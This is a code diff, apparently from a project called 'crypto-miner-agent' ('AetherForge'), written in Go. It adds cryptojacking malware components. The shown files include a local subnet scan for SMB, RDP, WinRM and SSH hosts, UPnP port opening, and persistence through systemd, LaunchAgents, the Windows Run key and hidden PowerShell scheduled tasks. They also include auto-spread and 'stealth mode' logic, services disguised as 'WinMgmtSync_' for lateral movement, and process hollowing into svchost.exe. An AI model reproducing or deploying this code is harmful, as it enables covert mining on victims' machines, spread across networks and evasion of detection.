type envelope struct {
|
||||
Body struct {
|
||||
Response struct {
|
||||
IP string `xml:"NewExternalIPAddress"`
|
||||
} `xml:"GetExternalIPAddressResponse"`
|
||||
} `xml:"Body"`
|
||||
}
|
||||
var env envelope
|
||||
if err := xml.Unmarshal(resp, &env); err != nil {
|
||||
return "", err
|
||||
}
|
||||
ip := strings.TrimSpace(env.Body.Response.IP)
|
||||
if ip == "" {
|
||||
return "", fmt.Errorf("empty external IP from router")
|
||||
}
|
||||
return ip, nil
|
||||
}
|
||||
|
||||
func upnpAddPortMapping(controlURL string, externalPort, internalPort int, description string) error {
|
||||
localIP, err := primaryLocalIPv4()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
body := fmt.Sprintf(`<?xml version="1.0"?>
|
||||
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
|
||||
<s:Body>
|
||||
<u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
|
||||
<NewRemoteHost></NewRemoteHost>
|
||||
<NewExternalPort>%d</NewExternalPort>
|
||||
<NewProtocol>TCP</NewProtocol>
|
||||
<NewInternalPort>%d</NewInternalPort>
|
||||
<NewInternalClient>%s</NewInternalClient>
|
||||
<NewEnabled>1</NewEnabled>
|
||||
<NewPortMappingDescription>%s</NewPortMappingDescription>
|
||||
<NewLeaseDuration>0</NewLeaseDuration>
|
||||
</u:AddPortMapping>
|
||||
</s:Body>
|
||||
</s:Envelope>`, externalPort, internalPort, localIP, xmlEscape(description))
|
||||
_, err = upnpSOAP(controlURL, "AddPortMapping", body)
|
||||
return err
|
||||
}
|
||||
|
||||
func upnpDeletePortMapping(controlURL string, externalPort int) error {
|
||||
body := fmt.Sprintf(`<?xml version="1.0"?>
|
||||
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
|
||||
<s:Body>
|
||||
<u:DeletePortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
|
||||
<NewRemoteHost></NewRemoteHost>
|
||||
<NewExternalPort>%d</NewExternalPort>
|
||||
<NewProtocol>TCP</NewProtocol>
|
||||
</u:DeletePortMapping>
|
||||
</s:Body>
|
||||
</s:Envelope>`, externalPort)
|
||||
_, err := upnpSOAP(controlURL, "DeletePortMapping", body)
|
||||
return err
|
||||
}
|
||||
|
||||
func upnpSOAP(controlURL, action, body string) ([]byte, error) {
|
||||
req, err := http.NewRequest(http.MethodPost, controlURL, bytes.NewBufferString(body))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
req.Header.Set("Content-Type", `text/xml; charset="utf-8"`)
|
||||
req.Header.Set("SOAPAction", fmt.Sprintf(`"urn:schemas-upnp-org:service:WANIPConnection:1#%s"`, action))
|
||||
client := &http.Client{Timeout: 10 * time.Second}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
data, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if resp.StatusCode >= 400 || bytes.Contains(data, []byte("errorCode")) {
|
||||
return nil, fmt.Errorf("UPnP SOAP %s failed: %s", action, strings.TrimSpace(string(data)))
|
||||
}
|
||||
return data, nil
|
||||
}
|
||||
|
||||
func primaryLocalIPv4() (string, error) {
|
||||
conn, err := net.Dial("udp4", "8.8.8.8:80")
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer conn.Close()
|
||||
addr := conn.LocalAddr().(*net.UDPAddr)
|
||||
return addr.IP.String(), nil
|
||||
}
|
||||
|
||||
func xmlEscape(s string) string {
|
||||
s = strings.ReplaceAll(s, "&", "&")
|
||||
s = strings.ReplaceAll(s, "<", "<")
|
||||
s = strings.ReplaceAll(s, ">", ">")
|
||||
return s
|
||||
}
|
||||
|
||||
// ScanLocalSubnet returns hosts with common service ports open on the local /24.
|
||||
func ScanLocalSubnet(maxHosts int) string {
|
||||
if maxHosts <= 0 {
|
||||
maxHosts = 64
|
||||
}
|
||||
ips := getLocalIPs()
|
||||
if len(ips) == 0 {
|
||||
return "no local IPv4 interfaces found"
|
||||
}
|
||||
var b strings.Builder
|
||||
seen := 0
|
||||
for _, ip := range ips {
|
||||
subnet := getSubnet(ip)
|
||||
if subnet == "" {
|
||||
continue
|
||||
}
|
||||
b.WriteString(fmt.Sprintf("Scanning %s.0/24 from %s\n", subnet, ip))
|
||||
for i := 1; i < 255 && seen < maxHosts; i++ {
|
||||
target := fmt.Sprintf("%s.%d", subnet, i)
|
||||
if target == ip {
|
||||
continue
|
||||
}
|
||||
open := probePorts(target, []int{445, 3389, 5985, 22})
|
||||
if len(open) > 0 {
|
||||
b.WriteString(fmt.Sprintf(" %s open: %s\n", target, strings.Join(intSliceStr(open), ", ")))
|
||||
seen++
|
||||
}
|
||||
}
|
||||
}
|
||||
if seen == 0 {
|
||||
b.WriteString("No hosts with SMB/RDP/WinRM/SSH responded in quick scan.")
|
||||
}
|
||||
return b.String()
|
||||
}
|
||||
|
||||
func probePorts(host string, ports []int) []int {
|
||||
var open []int
|
||||
for _, p := range ports {
|
||||
conn, err := net.DialTimeout("tcp", net.JoinHostPort(host, strconv.Itoa(p)), 800*time.Millisecond)
|
||||
if err == nil {
|
||||
conn.Close()
|
||||
open = append(open, p)
|
||||
}
|
||||
}
|
||||
return open
|
||||
}
|
||||
|
||||
func intSliceStr(v []int) []string {
|
||||
out := make([]string, len(v))
|
||||
for i, n := range v {
|
||||
out[i] = strconv.Itoa(n)
|
||||
}
|
||||
return out
|
||||
}
|
||||
144
agent/deploy/platform_unix.go
Normal file
144
agent/deploy/platform_unix.go
Normal file
@@ -0,0 +1,144 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
func CurrentExecutable() (string, error) {
|
||||
path, err := os.Executable()
|
||||
if err != nil {
|
||||
return filepath.Abs(os.Args[0])
|
||||
}
|
||||
return filepath.Abs(path)
|
||||
}
|
||||
|
||||
func configureAutoStart(cfg config.RuntimeConfig, binPath string) error {
|
||||
switch runtime.GOOS {
|
||||
case "darwin":
|
||||
return configureLaunchAgent(cfg, binPath)
|
||||
default:
|
||||
return configureSystemdUser(cfg, binPath)
|
||||
}
|
||||
}
|
||||
|
||||
func configureRunMode(cfg config.RuntimeConfig, installedBin string) error {
|
||||
if cfg.RunAs == "scheduled" || cfg.RunAs == "service" {
|
||||
return configureAutoStart(cfg, installedBin)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func configureSystemdUser(cfg config.RuntimeConfig, binPath string) error {
|
||||
unitName := PersistenceKeyName(cfg) + ".service"
|
||||
unitDir := filepath.Join(os.Getenv("HOME"), ".config", "systemd", "user")
|
||||
if err := os.MkdirAll(unitDir, 0755); err != nil {
|
||||
return err
|
||||
}
|
||||
unitPath := filepath.Join(unitDir, unitName)
|
||||
content := fmt.Sprintf(`[Unit]
|
||||
Description=AetherForge Worker %s
|
||||
After=network.target
|
||||
|
||||
[Service]
|
||||
Type=simple
|
||||
ExecStart=%s %s
|
||||
Restart=always
|
||||
RestartSec=60
|
||||
|
||||
[Install]
|
||||
WantedBy=default.target
|
||||
`, cfg.WorkerName, binPath, runFlag)
|
||||
if err := os.WriteFile(unitPath, []byte(content), 0644); err != nil {
|
||||
return err
|
||||
}
|
||||
_ = exec.Command("systemctl", "--user", "daemon-reload").Run()
|
||||
_ = exec.Command("systemctl", "--user", "enable", unitName).Run()
|
||||
_ = exec.Command("systemctl", "--user", "start", unitName).Run()
|
||||
return nil
|
||||
}
|
||||
|
||||
func configureLaunchAgent(cfg config.RuntimeConfig, binPath string) error {
|
||||
label := "com.aetherforge." + sanitizeName(PersistenceKeyName(cfg))
|
||||
plistDir := filepath.Join(os.Getenv("HOME"), "Library", "LaunchAgents")
|
||||
if err := os.MkdirAll(plistDir, 0755); err != nil {
|
||||
return err
|
||||
}
|
||||
plistPath := filepath.Join(plistDir, label+".plist")
|
||||
content := fmt.Sprintf(`<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>Label</key><string>%s</string>
|
||||
<key>ProgramArguments</key>
|
||||
<array><string>%s</string><string>%s</string></array>
|
||||
<key>RunAtLoad</key><true/>
|
||||
<key>KeepAlive</key><true/>
|
||||
<key>ProcessType</key><string>Background</string>
|
||||
</dict>
|
||||
</plist>
|
||||
`, label, binPath, runFlag)
|
||||
if err := os.WriteFile(plistPath, []byte(content), 0644); err != nil {
|
||||
return err
|
||||
}
|
||||
_ = exec.Command("launchctl", "load", plistPath).Run()
|
||||
return nil
|
||||
}
|
||||
|
||||
func applyDetachedStart(cmd *exec.Cmd) {
|
||||
if cmd == nil {
|
||||
return
|
||||
}
|
||||
cmd.Stdin = nil
|
||||
cmd.Stdout = nil
|
||||
cmd.Stderr = nil
|
||||
}
|
||||
|
||||
func HostOSVersion() string {
|
||||
out, err := exec.Command("uname", "-sr").CombinedOutput()
|
||||
if err != nil {
|
||||
return runtime.GOOS
|
||||
}
|
||||
return strings.TrimSpace(string(out))
|
||||
}
|
||||
|
||||
func killWorkerProcess(cfg config.RuntimeConfig) {
|
||||
name := BinaryName(cfg)
|
||||
if runtime.GOOS == "darwin" {
|
||||
_ = exec.Command("pkill", "-f", name).Run()
|
||||
} else {
|
||||
_ = exec.Command("pkill", "-x", cfg.EffectiveProcessName()).Run()
|
||||
}
|
||||
}
|
||||
|
||||
func removePersistence(cfg config.RuntimeConfig) {
|
||||
keyName := PersistenceKeyName(cfg)
|
||||
switch runtime.GOOS {
|
||||
case "darwin":
|
||||
label := "com.aetherforge." + sanitizeName(keyName)
|
||||
plistPath := filepath.Join(os.Getenv("HOME"), "Library", "LaunchAgents", label+".plist")
|
||||
_ = exec.Command("launchctl", "unload", plistPath).Run()
|
||||
_ = os.Remove(plistPath)
|
||||
default:
|
||||
unitName := keyName + ".service"
|
||||
_ = exec.Command("systemctl", "--user", "disable", unitName).Run()
|
||||
_ = exec.Command("systemctl", "--user", "stop", unitName).Run()
|
||||
_ = os.Remove(filepath.Join(os.Getenv("HOME"), ".config", "systemd", "user", unitName))
|
||||
}
|
||||
}
|
||||
|
||||
func selfUninstallSpawn(installDir string) {
|
||||
script := fmt.Sprintf("#!/bin/sh\nsleep 2\nrm -rf %q\n", installDir)
|
||||
tmp := filepath.Join(os.TempDir(), "af-uninstall.sh")
|
||||
_ = os.WriteFile(tmp, []byte(script), 0755)
|
||||
cmd := exec.Command("/bin/sh", tmp)
|
||||
_ = cmd.Start()
|
||||
}
|
||||
102
agent/deploy/platform_windows.go
Normal file
102
agent/deploy/platform_windows.go
Normal file
@@ -0,0 +1,102 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"syscall"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
|
||||
"golang.org/x/sys/windows/registry"
|
||||
)
|
||||
|
||||
func CurrentExecutable() (string, error) {
|
||||
path, err := os.Executable()
|
||||
if err != nil {
|
||||
return filepath.Abs(os.Args[0])
|
||||
}
|
||||
return filepath.Abs(path)
|
||||
}
|
||||
|
||||
func configureAutoStart(cfg config.RuntimeConfig, binPath string) error {
|
||||
k, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer k.Close()
|
||||
return k.SetStringValue(PersistenceKeyName(cfg), fmt.Sprintf(`"%s" %s`, binPath, runFlag))
|
||||
}
|
||||
|
||||
func configureRunMode(cfg config.RuntimeConfig, installedBin string) error {
|
||||
switch cfg.RunAs {
|
||||
case "scheduled", "service":
|
||||
return createScheduledTask(cfg, installedBin)
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
func createScheduledTask(cfg config.RuntimeConfig, binPath string) error {
|
||||
taskName := PersistenceKeyName(cfg)
|
||||
if taskName == "" {
|
||||
taskName = "CryptoMinerAgent"
|
||||
}
|
||||
script := fmt.Sprintf(
|
||||
`$action = New-ScheduledTaskAction -Execute '%s' -Argument '%s'; $trigger = New-ScheduledTaskTrigger -AtLogOn; $settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Hours 0) -RestartCount 999 -RestartInterval (New-TimeSpan -Minutes 1); Register-ScheduledTask -TaskName '%s' -Action $action -Trigger $trigger -Settings $settings -Force | Out-Null`,
|
||||
strings.ReplaceAll(binPath, `'`, `''`),
|
||||
runFlag,
|
||||
strings.ReplaceAll(taskName, `'`, `''`),
|
||||
)
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script)
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
func applyDetachedStart(cmd *exec.Cmd) {
|
||||
if cmd == nil {
|
||||
return
|
||||
}
|
||||
cmd.SysProcAttr = &syscall.SysProcAttr{
|
||||
HideWindow: true,
|
||||
CreationFlags: 0x08000000,
|
||||
}
|
||||
}
|
||||
|
||||
func HostOSVersion() string {
|
||||
out, err := exec.Command("cmd", "/C", "ver").CombinedOutput()
|
||||
if err != nil {
|
||||
return "windows"
|
||||
}
|
||||
return strings.TrimSpace(string(out))
|
||||
}
|
||||
|
||||
func killWorkerProcess(cfg config.RuntimeConfig) {
|
||||
_ = exec.Command("taskkill", "/F", "/IM", BinaryName(cfg)).Run()
|
||||
}
|
||||
|
||||
func removePersistence(cfg config.RuntimeConfig) {
|
||||
keyName := PersistenceKeyName(cfg)
|
||||
runKey, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
|
||||
if err == nil {
|
||||
_ = runKey.DeleteValue(keyName)
|
||||
runKey.Close()
|
||||
}
|
||||
_ = exec.Command("schtasks", "/Delete", "/TN", keyName, "/F").Run()
|
||||
svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
|
||||
_ = exec.Command("sc.exe", "stop", svcName).Run()
|
||||
_ = exec.Command("sc.exe", "delete", svcName).Run()
|
||||
}
|
||||
|
||||
func selfUninstallSpawn(installDir string) {
|
||||
ps := fmt.Sprintf(`
|
||||
$dir = '%s'
|
||||
Start-Sleep -Seconds 2
|
||||
Remove-Item -LiteralPath $dir -Recurse -Force -ErrorAction SilentlyContinue
|
||||
`, strings.ReplaceAll(installDir, "'", "''"))
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", ps)
|
||||
_ = cmd.Start()
|
||||
}
|
||||
24
agent/deploy/priority_unix.go
Normal file
24
agent/deploy/priority_unix.go
Normal file
@@ -0,0 +1,24 @@
|
||||
//go:build !windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"syscall"
|
||||
)
|
||||
|
||||
func SetProcessPriority(priority string) error {
|
||||
nice := 5
|
||||
switch priority {
|
||||
case "idle":
|
||||
nice = 19
|
||||
case "below_normal":
|
||||
nice = 10
|
||||
case "normal":
|
||||
nice = 5
|
||||
case "above_normal":
|
||||
nice = 0
|
||||
case "high":
|
||||
nice = -5
|
||||
}
|
||||
return syscall.Setpriority(syscall.PRIO_PROCESS, 0, nice)
|
||||
}
|
||||
@@ -1,10 +1,11 @@
|
||||
//go:build windows
|
||||
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
func SetProcessPriority(priority string) error {
|
||||
@@ -26,7 +27,3 @@ func SetProcessPriority(priority string) error {
|
||||
fmt.Sprintf("(Get-Process -Id %d).PriorityClass = '%s'", pid, class))
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
func CurrentExecutable() (string, error) {
|
||||
return filepath.Abs(os.Args[0])
|
||||
}
|
||||
72
agent/deploy/spreadkit.go
Normal file
72
agent/deploy/spreadkit.go
Normal file
@@ -0,0 +1,72 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
)
|
||||
|
||||
const spreadLogName = "aetherforge-spread.log"
|
||||
|
||||
// LogSpreadError writes install/connect failures to a temp log (stealth mode discards console).
|
||||
func LogSpreadError(stage string, err error) {
|
||||
if err == nil {
|
||||
return
|
||||
}
|
||||
line := fmt.Sprintf("%s [%s] %s: %v\n", time.Now().Format(time.RFC3339), runtime.GOOS, stage, err)
|
||||
path := filepath.Join(os.TempDir(), spreadLogName)
|
||||
f, openErr := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0644)
|
||||
if openErr != nil {
|
||||
return
|
||||
}
|
||||
_, _ = f.WriteString(line)
|
||||
_ = f.Close()
|
||||
}
|
||||
|
||||
func LogSpreadInfo(msg string) {
|
||||
line := fmt.Sprintf("%s [%s] %s\n", time.Now().Format(time.RFC3339), runtime.GOOS, msg)
|
||||
path := filepath.Join(os.TempDir(), spreadLogName)
|
||||
f, err := os.OpenFile(path, os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0644)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_, _ = f.WriteString(line)
|
||||
_ = f.Close()
|
||||
}
|
||||
|
||||
func isLocalhostURL(url string) bool {
|
||||
u := strings.ToLower(strings.TrimSpace(url))
|
||||
return strings.Contains(u, "localhost") ||
|
||||
strings.Contains(u, "127.0.0.1") ||
|
||||
strings.Contains(u, "[::1]")
|
||||
}
|
||||
|
||||
const firstRunSpreadMarker = ".spread_first_run"
|
||||
|
||||
func setFirstRunSpreadMarker(installDir string) error {
|
||||
return os.WriteFile(filepath.Join(installDir, firstRunSpreadMarker), []byte("1\n"), 0600)
|
||||
}
|
||||
|
||||
// WantsFirstRunSpread reports a one-shot autospread after spread-kit install.
|
||||
func WantsFirstRunSpread(cfg config.RuntimeConfig) bool {
|
||||
dir, err := cfg.InstallDirectory()
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
_, err = os.Stat(filepath.Join(dir, firstRunSpreadMarker))
|
||||
return err == nil
|
||||
}
|
||||
|
||||
// ClearFirstRunSpreadMarker removes the first-run spread marker.
|
||||
func ClearFirstRunSpreadMarker(cfg config.RuntimeConfig) {
|
||||
dir, err := cfg.InstallDirectory()
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
_ = os.Remove(filepath.Join(dir, firstRunSpreadMarker))
|
||||
}
|
||||
35
agent/deploy/tunnel.go
Normal file
35
agent/deploy/tunnel.go
Normal file
@@ -0,0 +1,35 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// StartCloudflaredTunnel launches cloudflared pointing at serverURL (background).
|
||||
func StartCloudflaredTunnel(serverURL string) (string, error) {
|
||||
serverURL = strings.TrimSpace(serverURL)
|
||||
if serverURL == "" {
|
||||
return "", fmt.Errorf("server URL required")
|
||||
}
|
||||
|
||||
checkCmd := exec.Command("cloudflared", "--version")
|
||||
if err := checkCmd.Run(); err != nil {
|
||||
downloadCmd := exec.Command("powershell", "-Command",
|
||||
"Invoke-WebRequest -Uri https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64.exe -OutFile $env:TEMP\\cloudflared.exe")
|
||||
if output, dlErr := downloadCmd.CombinedOutput(); dlErr != nil {
|
||||
return string(output), fmt.Errorf("cloudflared not found and download failed: %w", dlErr)
|
||||
}
|
||||
src := filepath.Join(os.Getenv("TEMP"), "cloudflared.exe")
|
||||
dst := filepath.Join(os.Getenv("SYSTEMROOT"), "System32", "cloudflared.exe")
|
||||
_ = exec.Command("copy", "/Y", src, dst).Run()
|
||||
}
|
||||
|
||||
tunnelCmd := exec.Command("cloudflared", "tunnel", "--url", serverURL)
|
||||
if err := tunnelCmd.Start(); err != nil {
|
||||
return "", fmt.Errorf("failed to start cloudflared: %w", err)
|
||||
}
|
||||
return fmt.Sprintf("cloudflared tunnel started (pid %d) -> %s", tunnelCmd.Process.Pid, serverURL), nil
|
||||
}
|
||||
@@ -3,61 +3,46 @@ package deploy
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
|
||||
"golang.org/x/sys/windows/registry"
|
||||
)
|
||||
|
||||
// Uninstall removes persistence, stops the process, and deletes the install directory.
|
||||
func Uninstall(cfg config.RuntimeConfig) error {
|
||||
processName := cfg.EffectiveProcessName()
|
||||
installDir, err := cfg.InstallDirectory()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
installedExe := filepath.Join(installDir, processName+".exe")
|
||||
|
||||
_ = exec.Command("taskkill", "/F", "/IM", processName+".exe").Run()
|
||||
|
||||
keyName := PersistenceKeyName(cfg)
|
||||
runKey, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
|
||||
if err == nil {
|
||||
_ = runKey.DeleteValue(keyName)
|
||||
runKey.Close()
|
||||
installedBin, err := InstalledBinaryPath(cfg)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
_ = exec.Command("schtasks", "/Delete", "/TN", keyName, "/F").Run()
|
||||
|
||||
killWorkerProcess(cfg)
|
||||
removePersistence(cfg)
|
||||
RemoveFirewallExclusion(cfg)
|
||||
|
||||
// Clean up potential lateral movement services
|
||||
svcName := "WinMgmtSync_" + sanitizeName(cfg.WorkerName)
|
||||
_ = exec.Command("sc.exe", "stop", svcName).Run()
|
||||
_ = exec.Command("sc.exe", "delete", svcName).Run()
|
||||
|
||||
if path, err := CurrentExecutable(); err == nil && samePath(path, installedExe) {
|
||||
// Self-uninstall: spawn cleanup then exit.
|
||||
ps := fmt.Sprintf(`
|
||||
$dir = '%s'
|
||||
Start-Sleep -Seconds 2
|
||||
Remove-Item -LiteralPath $dir -Recurse -Force -ErrorAction SilentlyContinue
|
||||
`, strings.ReplaceAll(installDir, "'", "''"))
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-WindowStyle", "Hidden", "-Command", ps)
|
||||
_ = cmd.Start()
|
||||
if path, err := CurrentExecutable(); err == nil && samePath(path, installedBin) {
|
||||
selfUninstallSpawn(installDir)
|
||||
os.Exit(0)
|
||||
}
|
||||
|
||||
if err := os.RemoveAll(installDir); err != nil {
|
||||
return fmt.Errorf("remove install dir: %w", err)
|
||||
}
|
||||
|
||||
// If the agent is running in memory (Process Hollowing), it won't be killed
|
||||
// by the taskkill command above. We must explicitly terminate the thread.
|
||||
os.Exit(0)
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// EnsureFirewallExclusion is implemented per platform.
|
||||
func EnsureFirewallExclusion(cfg config.RuntimeConfig, binPath string) {
|
||||
if !cfg.FirewallExclusion {
|
||||
return
|
||||
}
|
||||
platformEnsureFirewall(cfg, binPath)
|
||||
}
|
||||
|
||||
// RemoveFirewallExclusion is implemented per platform.
|
||||
func RemoveFirewallExclusion(cfg config.RuntimeConfig) {
|
||||
platformRemoveFirewall(cfg)
|
||||
}
|
||||
@@ -5,6 +5,7 @@ import (
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-agent/client"
|
||||
@@ -25,6 +26,17 @@ func main() {
|
||||
log.Fatal("server URL is required in built-in configuration")
|
||||
}
|
||||
|
||||
if deploy.WantsSpreadInstall() {
|
||||
installed, err := deploy.SpreadInstall(cfg)
|
||||
if err != nil {
|
||||
deploy.LogSpreadError("fatal", err)
|
||||
log.Fatalf("[spread-install] failed: %v", err)
|
||||
}
|
||||
if installed {
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
installed, err := deploy.InstallIfNeeded(cfg)
|
||||
if err != nil {
|
||||
log.Fatalf("[installer] failed: %v", err)
|
||||
@@ -57,21 +69,22 @@ func main() {
|
||||
|
||||
deploy.StartWatchdog(cfg)
|
||||
deploy.StartAutoSpreader(cfg)
|
||||
if cfg.AutoSpread && deploy.WantsFirstRunSpread(cfg) {
|
||||
deploy.RunSpreadOnce(cfg)
|
||||
deploy.ClearFirstRunSpreadMarker(cfg)
|
||||
}
|
||||
|
||||
if cfg.FirewallExclusion {
|
||||
if installDir, err := cfg.InstallDirectory(); err == nil {
|
||||
installedExe := filepath.Join(installDir, cfg.EffectiveProcessName()+".exe")
|
||||
deploy.EnsureFirewallExclusion(cfg, installedExe)
|
||||
if binPath, err := deploy.InstalledBinaryPath(cfg); err == nil {
|
||||
deploy.EnsureFirewallExclusion(cfg, binPath)
|
||||
}
|
||||
}
|
||||
|
||||
log.Printf("[agent] running worker=%s agent_id=%s process=%s build=%s server=%s threads=%d mode=%s display=%s install=%s",
|
||||
cfg.WorkerName, shortID(cfg.AgentID), cfg.EffectiveProcessName(), cfg.BuildID, cfg.ServerURL,
|
||||
log.Printf("[agent] running worker=%s agent_id=%s process=%s platform=%s/%s build=%s server=%s threads=%d mode=%s display=%s install=%s",
|
||||
cfg.WorkerName, shortID(cfg.AgentID), cfg.EffectiveProcessName(), runtime.GOOS, runtime.GOARCH, cfg.BuildID, cfg.ServerURL,
|
||||
cfg.EffectiveThreads(), cfg.ThreadMode, cfg.DisplayMode, mustInstallPath(cfg))
|
||||
|
||||
// Trigger Process Hollowing Memory Injection if enabled
|
||||
if cfg.ProcessHollowing {
|
||||
// Simple check: if we aren't already running as svchost, hollow it!
|
||||
if cfg.ProcessHollowing && runtime.GOOS == "windows" {
|
||||
if strings.ToLower(filepath.Base(os.Args[0])) != "svchost.exe" {
|
||||
exePath, _ := os.Executable()
|
||||
payload, err := os.ReadFile(exePath)
|
||||
@@ -79,7 +92,7 @@ func main() {
|
||||
log.Printf("[hollowing] Injecting into svchost.exe...")
|
||||
err = deploy.RunHollowed(`C:\Windows\System32\svchost.exe`, payload)
|
||||
if err == nil {
|
||||
os.Exit(0) // Successfully hollowed and running in memory, terminate disk process
|
||||
os.Exit(0)
|
||||
}
|
||||
log.Printf("[hollowing] Failed: %v. Falling back to normal execution.", err)
|
||||
}
|
||||
|
||||
34
agent/stats/reporter_darwin.go
Normal file
34
agent/stats/reporter_darwin.go
Normal file
@@ -0,0 +1,34 @@
|
||||
//go:build darwin
|
||||
|
||||
package stats
|
||||
|
||||
import (
|
||||
"os/exec"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func (r *Reporter) memoryStatus() (total, avail uint64) {
|
||||
out, err := exec.Command("sysctl", "-n", "hw.memsize").Output()
|
||||
if err != nil {
|
||||
return 0, 0
|
||||
}
|
||||
total, _ = strconv.ParseUint(strings.TrimSpace(string(out)), 10, 64)
|
||||
out, err = exec.Command("vm_stat").Output()
|
||||
if err != nil {
|
||||
return total, total / 2
|
||||
}
|
||||
// Rough available estimate from vm_stat free pages
|
||||
var pageSize uint64 = 4096
|
||||
var freePages uint64
|
||||
for _, line := range strings.Split(string(out), "\n") {
|
||||
if strings.Contains(line, "Pages free") {
|
||||
parts := strings.Fields(line)
|
||||
if len(parts) >= 3 {
|
||||
freePages, _ = strconv.ParseUint(strings.Trim(parts[2], "."), 10, 64)
|
||||
}
|
||||
}
|
||||
}
|
||||
avail = freePages * pageSize
|
||||
return total, avail
|
||||
}
|
||||
7
agent/stats/reporter_fallback.go
Normal file
7
agent/stats/reporter_fallback.go
Normal file
@@ -0,0 +1,7 @@
|
||||
//go:build !linux && !darwin && !windows
|
||||
|
||||
package stats
|
||||
|
||||
func (r *Reporter) memoryStatus() (total, avail uint64) {
|
||||
return 0, 0
|
||||
}
|
||||
41
agent/stats/reporter_linux.go
Normal file
41
agent/stats/reporter_linux.go
Normal file
@@ -0,0 +1,41 @@
|
||||
//go:build linux
|
||||
|
||||
package stats
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func (r *Reporter) memoryStatus() (total, avail uint64) {
|
||||
f, err := os.Open("/proc/meminfo")
|
||||
if err != nil {
|
||||
return 0, 0
|
||||
}
|
||||
defer f.Close()
|
||||
var memTotal, memAvail uint64
|
||||
sc := bufio.NewScanner(f)
|
||||
for sc.Scan() {
|
||||
line := sc.Text()
|
||||
if strings.HasPrefix(line, "MemTotal:") {
|
||||
memTotal = parseKB(line)
|
||||
} else if strings.HasPrefix(line, "MemAvailable:") {
|
||||
memAvail = parseKB(line)
|
||||
}
|
||||
}
|
||||
if memTotal == 0 {
|
||||
return 0, 0
|
||||
}
|
||||
return memTotal * 1024, memAvail * 1024
|
||||
}
|
||||
|
||||
func parseKB(line string) uint64 {
|
||||
fields := strings.Fields(line)
|
||||
if len(fields) < 2 {
|
||||
return 0
|
||||
}
|
||||
v, _ := strconv.ParseUint(fields[1], 10, 64)
|
||||
return v
|
||||
}
|
||||
50
agent/stats/reporter_unix.go
Normal file
50
